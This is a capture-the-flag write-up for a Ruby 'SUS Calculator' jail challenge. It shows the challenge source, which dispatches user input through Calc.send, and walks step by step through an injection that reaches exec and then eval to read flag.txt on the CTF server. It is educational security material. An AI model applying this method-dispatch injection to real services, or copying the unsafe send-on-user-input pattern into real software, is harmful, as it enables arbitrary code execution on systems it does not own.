๐ง SUS Calculator
๐ Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
๐ Challenge Statement
#!/usr/local/bin/ruby
class Calc
def self.+ left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left + right
end
def self.- left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left - right
end
def self.* left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left * right
end
def self./ left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left / right
end
def self.% left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left % right
end
end
STDOUT.sync = true
puts <<~HEADER
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
HEADER
loop do
print "> "
cmd = gets.chomp.split
if cmd.size != 3
puts "Usage: num (+|-|*|/|%) num"
next
end
left, op, right = cmd
puts Calc.send(op.to_sym, left, right)
end
๐ฉ Getting the Flag
Letโs begin by analyzing the script:
- We have a calculator performing basic operations.
- The operations are executed using class methods.
At first glance, there doesn't seem to be any vulnerability. We can't inject code, and the operations are well-secured.
However, upon reflection, we realize that op
, which is supposed to be the operator, is used to call a class method. What if we provided a method name that doesn't exist?
$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> 1 + 1
2
> a a a
chal.rb:57:in `block in <main>': undefined method `a' for Calc:Class (NoMethodError)
from chal.rb:47:in `loop'
from chal.rb:47:in `<main>'
Now, we need to find a method that exists in the Calc
class but isnโt used in the script.
That's when I found the send
method, which allows us to call a class method by passing its name as a parameter.
$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> exec send a
chal.rb:57:in `exec': No such file or directory - a (Errno::ENOENT)
from chal.rb:57:in `block in <main>'
from chal.rb:47:in `loop'
from chal.rb:47:in `<main>'
We have a very good command injection vulnerability
. Now we just need to execute our command to read
the flag.txt
file.
$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> exec send flag.txt
chal.rb:57:in `exec': No such file or directory - flag.txt (Errno::ENOENT)
from chal.rb:57:in `block in <main>'
from chal.rb:47:in `loop'
from chal.rb:47:in `<main>'
Well, thatโs unfortunate... what is this error ???? Let's try something else.
$ ruby chal.rb
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> exec send ./flag.txt
./flag.txt: 1: jail{flag_will_be_here_on_remote}: not found
Letโs try running this remotely:
$ nc challs1.pyjail.club 5456
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> exec send ./flag.txt
/app/run:57:in `exec': Permission denied - ./flag.txt (Errno::EACCES)
from /app/run:57:in `block in <main>'
from <internal:kernel>:187:in `loop'
from /app/run:47:in `<main>'
Well, it seems we need to try something else. Now, letโs attempt to read the file using eval
.
$ nc challs1.pyjail.club 5456
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> eval send File.read("flag.txt")
jail{me_when_i_uhhh_escape}
And there you have it, the flag !
๐ Support
๐ Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github